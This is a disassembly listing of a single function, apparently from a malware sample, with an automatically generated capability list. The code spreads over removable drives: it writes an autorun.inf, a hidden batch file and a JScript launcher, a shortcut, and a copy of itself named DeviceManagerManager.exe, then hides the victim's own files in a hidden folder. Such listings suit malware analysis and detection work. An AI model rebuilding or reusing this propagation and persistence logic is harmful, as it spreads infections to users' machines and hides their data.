Function at 0x401a60
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xba8
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x778]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x988]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x670]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0xba0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x568]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x880]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0xa98]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x460]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push 0x407508
lea ecx, [ebp - 0x988]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 0xc]
push edx
push str._s.lnk
lea eax, [ebp - 0x778]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x778]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x407514
lea eax, [ebp - 0xba0]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
mov ecx, dword [ebp + 8]
push ecx
push str._sautorun.inf
lea edx, [ebp - 0xa98]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str._s_
lea ecx, [ebp - 0x670]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._s_DeviceManager
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push str._sManager.exe
lea edx, [ebp - 0x460]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str._sDeviceManager.bat
lea ecx, [ebp - 0x568]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
movzx edx, byte [ebp + 0x10]
cmp edx, 1
jne 0x401c2b
mov eax, dword [ebp + 8]
push eax
push str._sManager.bat
lea ecx, [ebp - 0x880]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
jmp 0x401c43
mov edx, dword [ebp + 8]
push edx
push str._sManager.js
lea eax, [ebp - 0x880]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x880]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401d33
lea edx, [ebp - 0xa98]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401c88
push 0x80
lea eax, [ebp - 0xa98]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0xa98]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x407590
lea edx, [ebp - 0x880]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x401d33
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x401d01
push 0
call fcn.00403290
add esp, 4
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.start__min_DeviceManager.bat_n
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
jmp 0x401d15
push str.var_obj__new_ActiveXObject__WScript.Shell____obj.run__DeviceManager.bat___0__
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x568]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401e73
push 0x407608
lea edx, [ebp - 0x568]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x401e73
push 0
call fcn.00403290
add esp, 4
push eax
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push str._echo_off_n
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.if_exist___start________n
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.tasklist__FI__IMAGENAME_eq_winmgr.exe__2_nul__find__I__N__winmgr.exe___nul_n
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.if____ERRORLEVEL____0__exit_n
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.if_exist__DeviceManagerManager.exe_start__DeviceManagerManager.exe_n
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea edx, [ebp - 0x568]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0xa98]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401fec
push 0x4076f0
lea ecx, [ebp - 0xa98]
push ecx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x401fec
push 0
call fcn.00403290
add esp, 4
push eax
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str._autorun__n
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.icon__SystemRoot___system32SHELL32.dll_4_n
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.actionOpen
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
movzx eax, byte [ebp + 0x10]
cmp eax, 1
jne 0x401f72
push str.shellexecuteManager.bat_n
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
jmp 0x401f86
push str.shellexecuteManager.js_n
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.UseAutoPlay1_n
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0
call fcn.00403290
add esp, 4
push eax
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0xa98]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea edx, [ebp - 0xba0]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402027
push 0
push 0
push 0
push 8
push str.shell32.dll
push 0
push 0x4077a4
lea eax, [ebp - 0x880]
push eax
lea ecx, [ebp - 0xba0]
push ecx
call fcn.004018e0
add esp, 0x24
lea edx, [ebp - 0x670]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40205a
push 0
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
je 0x40205a
push 7
lea ecx, [ebp - 0x670]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40208d
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
je 0x40208d
push 7
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea edx, [ebp - 0x460]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4020b2
push 0
lea eax, [ebp - 0x460]
push eax
push 0x4091e8
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402162
push 0x4077a8
lea edx, [ebp - 0x460]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0xba4], eax
cmp dword [ebp - 0xba4], 0
je 0x402162
push 2
push 0
mov eax, dword [ebp - 0xba4]
push eax
call sub.MSVCRT.dll_fseek
add esp, 0xc
mov ecx, dword [ebp - 0xba4]
push ecx
call sub.MSVCRT.dll_ftell
add esp, 4
mov dword [ebp - 0xba8], eax
mov edx, dword [ebp - 0xba8]
cmp edx, dword [0x4091e0]
je 0x402153
push 0x80
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0
lea edx, [ebp - 0x460]
push edx
push 0x4091e8
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov eax, dword [ebp - 0xba4]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
lea ecx, [ebp - 0x358]
push ecx
lea edx, [ebp - 0x988]
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 0x98c], eax
cmp dword [ebp - 0x98c], 0xffffffff
jne 0x40218c
xor eax, eax
jmp 0x4023a3
push str..lnk
lea eax, [ebp - 0x32c]
push eax
call fcn.00401200
add esp, 8
test eax, eax
je 0x402218
lea ecx, [ebp - 0x778]
push ecx
lea edx, [ebp - 0x32c]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402218
push 0x104
push 0
lea eax, [ebp - 0xba0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x32c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x4077b4
lea eax, [ebp - 0xba0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0xba0]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea edx, [ebp - 0xba0]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402375
lea ecx, [ebp - 0x778]
push ecx
lea edx, [ebp - 0x32c]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402375
push 0x4077bc
lea eax, [ebp - 0x32c]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402375
push str.Manager.bat
lea ecx, [ebp - 0x32c]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402375
push str.Manager.js
lea edx, [ebp - 0x32c]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402375
push str.DeviceManager.bat
lea eax, [ebp - 0x32c]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402375
push str.autorun.inf
lea ecx, [ebp - 0x32c]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402375
push 0x104
push 0
lea edx, [ebp - 0x210]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0xba0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x32c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x4077f8
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x32c]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s__s
lea eax, [ebp - 0xba0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0xba0]
push ecx
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
lea eax, [ebp - 0x358]
push eax
mov ecx, dword [ebp - 0x98c]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40218c
mov edx, dword [ebp - 0x98c]
push edx
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, 1
mov esp, ebp
pop ebp
ret